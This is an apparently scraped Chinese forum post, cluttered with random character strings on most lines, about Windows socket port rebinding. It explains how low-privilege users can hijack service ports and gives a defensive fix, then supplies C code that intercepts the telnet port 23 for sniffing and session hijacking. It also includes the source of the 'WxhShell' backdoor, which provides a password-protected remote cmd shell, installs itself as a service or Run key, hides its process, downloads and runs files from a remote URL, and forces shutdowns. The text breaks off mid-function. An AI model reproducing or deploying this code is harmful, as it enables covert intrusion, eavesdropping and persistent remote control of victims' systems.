在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qIIJ4n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m3bCZ9iE ) ZfdQ3 saddr.sin_family = AF_INET;
y5r4+2B T 20&F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-I.d}[ t.p~\6Yi bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I,yC
D7l_ #T w@wfaq) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c;?fMX
f>`dF?^6 这意味着什么?意味着可以进行如下的攻击:
1y#D?R=E 3cdTed-MIh 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
EU7|,>a V!v:]E 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f| _u7"OX 5"XC$?I<} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
PHOP%hI$ 0k)rc$eDF+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q7Iw[=;\ yAL[[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GZI`jS"lU 'k;rH!R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s\!>"J bAQ
#$1Z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k:jSbbQ I[)% , jd #include
Od f[* #include
7xRl9 #include
&xRo^iV? #include
Q></`QWpoB DWORD WINAPI ClientThread(LPVOID lpParam);
L:XC int main()
wO?{?+I`q {
"&/-N[is WORD wVersionRequested;
c\a_VRN>r DWORD ret;
svxw^0~a WSADATA wsaData;
8NyJc"T<. BOOL val;
[
ol9|sdu SOCKADDR_IN saddr;
kuyjnSo9i SOCKADDR_IN scaddr;
hxQqa 0B int err;
y@0E[/O SOCKET s;
BauU{:Sh SOCKET sc;
=UUU$hq2 int caddsize;
,]bB9tid HANDLE mt;
[!!Q,S"
DWORD tid;
_ODbY;M wVersionRequested = MAKEWORD( 2, 2 );
,eTU/Q>{,& err = WSAStartup( wVersionRequested, &wsaData );
T5a*z}L5 if ( err != 0 ) {
h1'\:N` printf("error!WSAStartup failed!\n");
pe^u$YE return -1;
PRHCrHs }
Fu!RhsW5j saddr.sin_family = AF_INET;
J8mdoVt SkmT`*v@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:POj6j/ ^0/j0]O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;L']e"G saddr.sin_port = htons(23);
CrwwU7qKL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_/i4MtM {
n2iJ%_zp printf("error!socket failed!\n");
+v=C@2T return -1;
.l.a(_R }
d_IAs val = TRUE;
z^T`x_mF //SO_REUSEADDR选项就是可以实现端口重绑定的
hCC<?5q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^]TVo\,N {
8F'x=lIO printf("error!setsockopt failed!\n");
'&\kxNglJ return -1;
h*- Pr8 }
z CvKDlL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zux{S;:? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
iyg*Xbmi~. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%}%Qc6.H D8$G `~hD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[eC2"&} {
3\XU_Xs(] ret=GetLastError();
MdvcnaCG printf("error!bind failed!\n");
"1%5, return -1;
p,eTY[k? }
Ft&]7dT{W listen(s,2);
`\}v#2VJ while(1)
*{L)dW+: {
H !$o$}A caddsize = sizeof(scaddr);
#w' kV# //接受连接请求
[Al& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
iKT [=c if(sc!=INVALID_SOCKET)
cLLbZ=` {
iv4H#rJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`hQ5VJo if(mt==NULL)
Fvbh\m
~ {
tNbN7yI printf("Thread Creat Failed!\n");
!6*"( break;
S[J}UpV }
|&zz,+ E }
ee^{hQi CloseHandle(mt);
?!` /m|" }
:51/29} closesocket(s);
V6@o]* WSACleanup();
eS~LF.^Jw return 0;
-w"VK|SGm }
m)'=G%y DWORD WINAPI ClientThread(LPVOID lpParam)
Jcrw#l8|C {
bcE._9@@ SOCKET ss = (SOCKET)lpParam;
7t0er'VC SOCKET sc;
Pu" P9 unsigned char buf[4096];
1pgU}sRk SOCKADDR_IN saddr;
(&F
,AY3A long num;
ZZzMO6US0 DWORD val;
\RC'XKQ*n DWORD ret;
5Ou`z5S\k //如果是隐藏端口应用的话,可以在此处加一些判断
woK&q 7Vn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{+Rog/;S' saddr.sin_family = AF_INET;
8~@c)Z; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Na]:_K5Dp saddr.sin_port = htons(23);
;z $(nhJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hvsWs.;L' {
a6) BqlJ printf("error!socket failed!\n");
GkQpELO: return -1;
?iWi }
wNpTM8rfU# val = 100;
Y,^@P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CDK5 {
!xo{-@@wS ret = GetLastError();
fof TP1 return -1;
d,B:kE0Y }
] Zy5%gI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s;01u_ {
KUlp"{a`,K ret = GetLastError();
3sy (vC return -1;
;;6uw\6
O }
V{/?FO?E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a%/9v"} {
s@K4u^$A printf("error!socket connect failed!\n");
.$+#1- closesocket(sc);
2fnkw/ closesocket(ss);
0=2@ return -1;
b*c*r dTx }
*zbNd:i9 while(1)
A>o*t=5 {
5K>3My# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~j}cyHg //如果是嗅探内容的话,可以再此处进行内容分析和记录
5m&9"T. w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
nrub*BuA num = recv(ss,buf,4096,0);
4;yKOQD| if(num>0)
keL&b/@ send(sc,buf,num,0);
l5!|I:/*; else if(num==0)
eD?tLj break;
k@ RDvn num = recv(sc,buf,4096,0);
8]/bK5` if(num>0)
v3~? ;f,l send(ss,buf,num,0);
_=F=`xu else if(num==0)
cPyE 6\lN break;
X86O lP)eX }
D9^h;
8 closesocket(ss);
n|Q@UPb/= closesocket(sc);
cUKE return 0 ;
Hq:X{)" }
CQF:Rnb 5Ha9lM2gh 5q3JI ==========================================================
R O+GK`J Lo{
E:5q 下边附上一个代码,,WXhSHELL
v_+{'F @E7DyU| ==========================================================
c|e~BQdRw jnO9j_CY #include "stdafx.h"
6F!+T= xpV|\2C #include <stdio.h>
4&<oFW\r #include <string.h>
s~ a"4~f #include <windows.h>
f-vCm 5f #include <winsock2.h>
Dp,L/1GQ8 #include <winsvc.h>
X(
\AB #include <urlmon.h>
o=1Uh,S3R fphv #pragma comment (lib, "Ws2_32.lib")
#+Ir>GU #pragma comment (lib, "urlmon.lib")
#L=x%8B e$<0
7Oc #define MAX_USER 100 // 最大客户端连接数
bh,[ 3X% #define BUF_SOCK 200 // sock buffer
4tRYw0f47 #define KEY_BUFF 255 // 输入 buffer
k]F[>26k ^ Edfv5 #define REBOOT 0 // 重启
+\d56j+D #define SHUTDOWN 1 // 关机
I8hz(2jI Aza /6OL #define DEF_PORT 5000 // 监听端口
sBj(Qd yj 3cyLXw #define REG_LEN 16 // 注册表键长度
5d Eh7XL #define SVC_LEN 80 // NT服务名长度
SYAyk Pr':51( // 从dll定义API
a!6{:8Zi0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
deBY5| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wN_Vfb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MU@UfB|;u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
44ek
IV+? EH+"~-v)ae // wxhshell配置信息
gX@HO|.t struct WSCFG {
>?2M
}TV3 int ws_port; // 监听端口
h5*JkRm char ws_passstr[REG_LEN]; // 口令
1gL2ia int ws_autoins; // 安装标记, 1=yes 0=no
b|l:fT?& char ws_regname[REG_LEN]; // 注册表键名
#^u$ char ws_svcname[REG_LEN]; // 服务名
eBZXI)pPh char ws_svcdisp[SVC_LEN]; // 服务显示名
.F98G/s char ws_svcdesc[SVC_LEN]; // 服务描述信息
u_w#gjiC char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2Q/x@aT,h int ws_downexe; // 下载执行标记, 1=yes 0=no
2e+UM$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SE@LYeC}dE char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q( |HiE@ };
y`Wty@ y`<*U;xL // default Wxhshell configuration
zGb|) A~, struct WSCFG wscfg={DEF_PORT,
F+YZE[h% "xuhuanlingzhe",
|^&b8 1,
?&8^&brwG "Wxhshell",
{f Py=,>Nb "Wxhshell",
f(>p=%=O "WxhShell Service",
J{.{f "Wrsky Windows CmdShell Service",
0.`/X66;V "Please Input Your Password: ",
Z;ht 1,
Q- cFtu-w "
http://www.wrsky.com/wxhshell.exe",
m|SUV "Wxhshell.exe"
Rvqq.I8aC };
RD!&LFz/} !a{^=#qq&I // 消息定义模块
LC,F
<>w1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b o6d)Q char *msg_ws_prompt="\n\r? for help\n\r#>";
zU5v /'h>d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
du<tGsy char *msg_ws_ext="\n\rExit.";
[g7L&`f9 char *msg_ws_end="\n\rQuit.";
g;H=6JeG/ char *msg_ws_boot="\n\rReboot...";
Lu?C-$a C char *msg_ws_poff="\n\rShutdown...";
.p<:II:6 char *msg_ws_down="\n\rSave to ";
nD_GL |B?cVc0 char *msg_ws_err="\n\rErr!";
+%+tr*04O char *msg_ws_ok="\n\rOK!";
KoOz#,() rMdt:` char ExeFile[MAX_PATH];
?h$NAL? int nUser = 0;
ef8s<5"4 HANDLE handles[MAX_USER];
z6KCv(zvB int OsIsNt;
OV1_|##LC ^=GC3%
J SERVICE_STATUS serviceStatus;
ui<N[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
|UkR'Ma E(*0jAvO[z // 函数声明
J?*1*h int Install(void);
DwM)r7<Ex int Uninstall(void);
U\g/ 2dM int DownloadFile(char *sURL, SOCKET wsh);
F6|TP.VY_. int Boot(int flag);
xs{3pkTYD void HideProc(void);
;;!yC int GetOsVer(void);
xsIY7Ss U int Wxhshell(SOCKET wsl);
J4k=A7^N void TalkWithClient(void *cs);
2":pE U{E int CmdShell(SOCKET sock);
Q1U\D int StartFromService(void);
h=W:^@G int StartWxhshell(LPSTR lpCmdLine);
%:M^4~dc ${<%" hR$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@3>u@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
f/ U` W\>fh&!) // 数据结构和表定义
Cz9xZA{[M SERVICE_TABLE_ENTRY DispatchTable[] =
,kyJAju> {
$jjfC {wscfg.ws_svcname, NTServiceMain},
p\ Q5,eg {NULL, NULL}
W/=.@JjI };
G4Q[Th &agWaf1%a // 自我安装
`
)/vq-9 int Install(void)
pd:WEI
, {
ts,ZvY] char svExeFile[MAX_PATH];
V><,UI=,n HKEY key;
RFi
S@.7 strcpy(svExeFile,ExeFile);
4)S,3G .UQzPnK // 如果是win9x系统,修改注册表设为自启动
;0Q4<F if(!OsIsNt) {
wy<\Tg^J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&yct!YOB2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_?-E7:Sw RegCloseKey(key);
j@AIK+0Qc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5GI,o|[s6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D@,6M#SK RegCloseKey(key);
BnX0G1|# return 0;
S4Pxc
]! }
(9tX5$e6N }
EGGWrl}1 }
~IY% else {
j5(Z_dm' {dhXIs // 如果是NT以上系统,安装为系统服务
_:ReN_0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-Fi`Z$ if (schSCManager!=0)
Wvq27YK' {
^-TE([ bW SC_HANDLE schService = CreateService
l#g\X'bK (
;nI] !g: schSCManager,
sZ3KT& wscfg.ws_svcname,
hXcyoZ8 wscfg.ws_svcdisp,
^a/gBC82x SERVICE_ALL_ACCESS,
]MqMQLG0t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
kGH }[w SERVICE_AUTO_START,
s%vis{2 SERVICE_ERROR_NORMAL,
zv|2:4H svExeFile,
l^!
?@Kg,z NULL,
5us:adm[pD NULL,
Z|&MKG24 NULL,
^3G{|JB!+ NULL,
kYM~d07 V NULL
|O{m2Fi );
F6LH $C if (schService!=0)
R a O-H {
w0[6t#$F CloseServiceHandle(schService);
ZFA`s
qT CloseServiceHandle(schSCManager);
4`lLf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[xbSYu,& strcat(svExeFile,wscfg.ws_svcname);
{yBs7[Wn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1m'k|Ka RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,[N%Q# RegCloseKey(key);
kC:uG0sW return 0;
nB_?ckj, }
C>]0YO
k2 }
xI{)6t$` CloseServiceHandle(schSCManager);
*zaQx+L }
p99] }
<3oWEm I~[F|d> return 1;
Je';9(ZK }
bc7/V#W rbul8(1h // 自我卸载
&r[`>B{tP int Uninstall(void)
<S5BDk {
UgRhWV~f0 HKEY key;
|{&{ d}OTO10 if(!OsIsNt) {
-r!. 9q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dydc}n RegDeleteValue(key,wscfg.ws_regname);
.fn\]rUv RegCloseKey(key);
FK^p")i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T5|qRlW RegDeleteValue(key,wscfg.ws_regname);
biL s+\C RegCloseKey(key);
Z
EQ@IS:Y return 0;
W1WYej" }
4%{,]
q\p }
zp6C3RG( }
S\^Pha
q else {
32(^Te]: oF vfCrd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&]Q@7Nl7:l if (schSCManager!=0)
o m!!Sl 3 {
/hpY f]t SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c|f<u{' if (schService!=0)
l\f*d6o {
J;S
(>c if(DeleteService(schService)!=0) {
y3vdUauOn CloseServiceHandle(schService);
dR
K?~1 CloseServiceHandle(schSCManager);
bes<qy return 0;
4M^=nae }
<3L5"77G6 CloseServiceHandle(schService);
bs+f,j-oBN }
I.I`6(Cb CloseServiceHandle(schSCManager);
)i6mzzj5 }
.[YuRLGz }
]GUvV&6@( ''|W9! return 1;
f<GhkDPm>? }
X
enE^e+9 u]:oZMnj // 从指定url下载文件
{0r0\D>bw int DownloadFile(char *sURL, SOCKET wsh)
V[mT<Lc {
2v :]tj HRESULT hr;
Pi=+/} char seps[]= "/";
3Nl <p"= char *token;
;:iY) } char *file;
8bxfj<O, char myURL[MAX_PATH];
6d:zb;Iz char myFILE[MAX_PATH];
9q)Kfz N>Xo_-QCY strcpy(myURL,sURL);
\TIT:1 token=strtok(myURL,seps);
]{!U@b while(token!=NULL)
eFipIn)b {
'|ad_M file=token;
y~(h>gi,x token=strtok(NULL,seps);
Y&`=jDI }
W'els)WJ|x u^&A W$ GetCurrentDirectory(MAX_PATH,myFILE);
vjLJinJ/ strcat(myFILE, "\\");
vp1941P strcat(myFILE, file);
Mc@e0 send(wsh,myFILE,strlen(myFILE),0);
8."]//V send(wsh,"...",3,0);
xP_cQwm`1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
rW<KKGsRWQ if(hr==S_OK)
+\x,HsUc" return 0;
[2>yYr s_= else
U] ~$g}!) return 1;
3s5z
UT; RPwbTAl} }
C,wL0Yj[ 0;hqIJcE:\ // 系统电源模块
>f^r^P int Boot(int flag)
Y1L[;)H n {
Uq[>_"} HANDLE hToken;
uyO/55;HO TOKEN_PRIVILEGES tkp;
f0A{W/0n 'SO %)B if(OsIsNt) {
:8I9\eet3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9FoHD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
vGvf<ra;H tkp.PrivilegeCount = 1;
^/)^7\@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
d^@ dzNv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I?]ohG K if(flag==REBOOT) {
@#<D ^" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Q`~jw>x return 0;
^pxX]G] }
gK_Ymq5>"M else {
9"NF/)_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'g6\CZw(# return 0;
tG:25 T0 }
ng[Ar` }
Z|%_&M else {
C](f>)Dz
/ if(flag==REBOOT) {
dFRsm0T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
6RG)`bu return 0;
iyA'#bE- }
VQ"hUX8 else {
:=}BN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.@2m07*1 return 0;
XQ#;Zs/l }
Ld\R:{M" }
f6EZ(
v \"qY "V return 1;
A]<y:^2])C }
t
4PK}>QW bhID#& // win9x进程隐藏模块
;}7Rjl# void HideProc(void)
|pm7 _[ {
:Uz| 3gq \O}E7- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g=39C> if ( hKernel != NULL )
X]'{(?Ch {
T,7Y7c/3V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_7<FOOM%8y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J{'>uD.@ FreeLibrary(hKernel);
3?[dE< }
u&1q [0y ~:0sk"t$1 return;
qJ;jfh! }
ATJWO1CtB XO`0>^g // 获取操作系统版本
dpJ_r>NI int GetOsVer(void)
m/Oh\KlIl {
RdWRWxTn8+ OSVERSIONINFO winfo;
d^Inb!%w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
u_hD}V^x4 GetVersionEx(&winfo);
b+,';bW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.GV;+8HzS return 1;
5G::wuxk else
S-P/+K6 return 0;
e_#._Pi }
8hXl%{6d3 RzxNbeki[W // 客户端句柄模块
;P;-}u int Wxhshell(SOCKET wsl)
7/!8e.M\ {
'r4/e-`pK SOCKET wsh;
]*vdSr-J struct sockaddr_in client;
j`oy`78O DWORD myID;
tU4s'J 3XL#0\im?s while(nUser<MAX_USER)
\Npxv {
mIurA?&7! int nSize=sizeof(client);
^]7}YF2| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(^s>m,h if(wsh==INVALID_SOCKET) return 1;
O9vQp 5pj22 s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
E'G4Y- if(handles[nUser]==0)
N8k00*p65 closesocket(wsh);
6 2'j!"xv else
>v:y?A, nUser++;
5Ec6),+& }
{F3xJ[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
prYs
$j oT^{b\XN return 0;
5XO;N s }
Q7*SE%H kv3E4,<9 // 关闭 socket
3_txg>P" void CloseIt(SOCKET wsh)
D6%J\C13` {
c0PIc^R(@ closesocket(wsh);
|*:'TKzNS nUser--;
P=7zs;k ExitThread(0);
@$lG@I,[ }
<PapskO> UADFnwR[R // 客户端请求句柄
IT(lF void TalkWithClient(void *cs)
Rd2qe / {
#,,d>e [ad@*KFxy3 SOCKET wsh=(SOCKET)cs;
Kh,V.+7k char pwd[SVC_LEN];
J]v%q," char cmd[KEY_BUFF];
aIJt0; char chr[1];
T@G?t0 int i,j;
QOjqQfmM; 9bP^`\K[N while (nUser < MAX_USER) {
q-.,nMUF SNfr"2c'h~ if(wscfg.ws_passstr) {
Px$/ _`H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0TCBQ~ " //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{aY%gk?y#> //ZeroMemory(pwd,KEY_BUFF);
GKOD/, i=0;
ugo.@
while(i<SVC_LEN) {
b6}H$Sx~ t?q@H8 // 设置超时
h?rp|uPQ fd_set FdRead;
'h/C oTk@, struct timeval TimeOut;
ad.3A{ FD_ZERO(&FdRead);
=x!2Ak/) FD_SET(wsh,&FdRead);
.uuO>: TimeOut.tv_sec=8;
/s?r`' j[ TimeOut.tv_usec=0;
uv=.2U46 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
}E0,z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.Si,dc\ *FC=X) _&W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P\w\N2 pwd
=chr[0]; eCN })An
if(chr[0]==0xd || chr[0]==0xa) { =+ytTQc*ot
pwd=0; f47Od-\-
break; |K6REkzr
} |<#{"'/=
i++; 2Or'c`|
} ko Z
,RJtm%w
// 如果是非法用户,关闭 socket /a^1_q-bX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fBalTk;G{U
} z8QAo\_I(
:|_'fNd+!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &=#[(vl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_o}
&QDW9
Mi
while(1) { U'8bdsF_
/<HRwG\w
ZeroMemory(cmd,KEY_BUFF); P/c&@_b
fIj|4a+
// 自动支持客户端 telnet标准 nN*w~f"
j=0; {k>Ca
while(j<KEY_BUFF) { PE~G=1x3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >H'4{|
cmd[j]=chr[0]; {7 $c8i
if(chr[0]==0xa || chr[0]==0xd) { WKT4D}{1
cmd[j]=0; `wus\&!W
break; 3D`YZ#M
} l%?T2Fm3>
j++; 3|1ilP
} w9NHk~LHKF
ux_Mrh'
// 下载文件 ?**+e%$$
if(strstr(cmd,"http://")) { eln&]d;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); q8s0AN'@t'
if(DownloadFile(cmd,wsh)) OJ/,pLYu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IqC]! H0
else }D7I3]2>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+@JY2dvj
} 0|$v-`P$
else { CPP`
qt%f
;k7xMZs
switch(cmd[0]) { XLAN Np%E
{jYOsl
// 帮助 T2SP
W@#Z3
case '?': { 4T!+D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kB'Fkqwm
break; Eve.QAl|
} mMb'@
// 安装 :@ %4
case 'i': { y>72{
if(Install()) DTaN"{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 89\n;5'f4
else *Txl+zTY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !eEHmRgg4
break; |`lzfe
} 3=Cc.a/3
// 卸载 oXxCXO,q
case 'r': { fRtUvC-#H
if(Uninstall()) O)ME"@r@:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LM7$}#$R
else `FYv3w2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >p.O0G
gg
break; uoHNn7 W
} qQ"Fv|]~>
// 显示 wxhshell 所在路径 NR -!VJQ
case 'p': { y($%;l
char svExeFile[MAX_PATH]; GlbySD@
strcpy(svExeFile,"\n\r"); gF[z fDm
strcat(svExeFile,ExeFile); $:
]o]a
send(wsh,svExeFile,strlen(svExeFile),0); FI3)i>CnW
break; 4$*%gL;f^
} zgs (Dt;
// 重启 g>dA$h%
case 'b': { *M$0J'-BQ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gF$V$cU
if(Boot(REBOOT)) Aj2OkD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ECD`N<YF
else { r6&54f
closesocket(wsh); ,Fi>p0bz
ExitThread(0); HYD"#m'TkB
} >B2:kY F
break; WDg+J
} $OP7l>KZY
// 关机 Z\HX~*,6
case 'd': { `FsH}UPu
b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z)9wXo#~
if(Boot(SHUTDOWN))
Xtp"QY
p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uO=aaKG
else { +"8,Mh
closesocket(wsh); \ gLHi~
ExitThread(0); |b*?
qf
} ^4,a 8`
break; Sqo
:-
} G}FIjBE
// 获取shell df
n9!h
case 's': { Q8DQlqHm
CmdShell(wsh); ;_^fk&+
closesocket(wsh); |b-]n"}c>
ExitThread(0); co9 .wB@
break; ,(;lIP
} 3:8{"md@2
// 退出 K91)qI;BD
case 'x': { P&b19 K'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {W]=~*w
CloseIt(wsh); W2z*91$
break; Sp}tD<V
} h=(DX5:A
// 离开
F0:A]`|
case 'q': { 4H|(c[K;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); xj[(P$,P
closesocket(wsh); xia |+
WSACleanup(); ap{2$k ,
exit(1); O9g{+e`
break; :%sXO
} FIbp"~
} TpHfS]W-P
} s%2v3eb
L3n_ 5|
// 提示信息 *&d<yJM`b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ZY@$''
} V^\8BVw
} [-)r5Dsdq
i} N8(B(
return; HO[wTB|D]
} '
4ER00
ET[kpL
// shell模块句柄 TOoQZTI
int CmdShell(SOCKET sock) r\blyWi
{ k%E2n:|*
STARTUPINFO si; $2u 'N:o
ZeroMemory(&si,sizeof(si)); WdnIp!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :"l-KQ0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \#rIQOPl?
PROCESS_INFORMATION ProcessInfo; Vo7dAHHL
char cmdline[]="cmd"; %s&ChM?8F
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >-O/U5<!
return 0; ]ix!tb.Q
} @"o@}9=d
kWNV%RlSx
// 自身启动模式 &[At`Nw71
int StartFromService(void) 1?| flK
{ 0
s70r
typedef struct ^qC;Nh4F
{ *bxzCI7b
DWORD ExitStatus; r)i>06Hd
DWORD PebBaseAddress; PI*82,f3dE
DWORD AffinityMask; &R$CZU
DWORD BasePriority; )x]3Zq
ULONG UniqueProcessId; F* .g;So
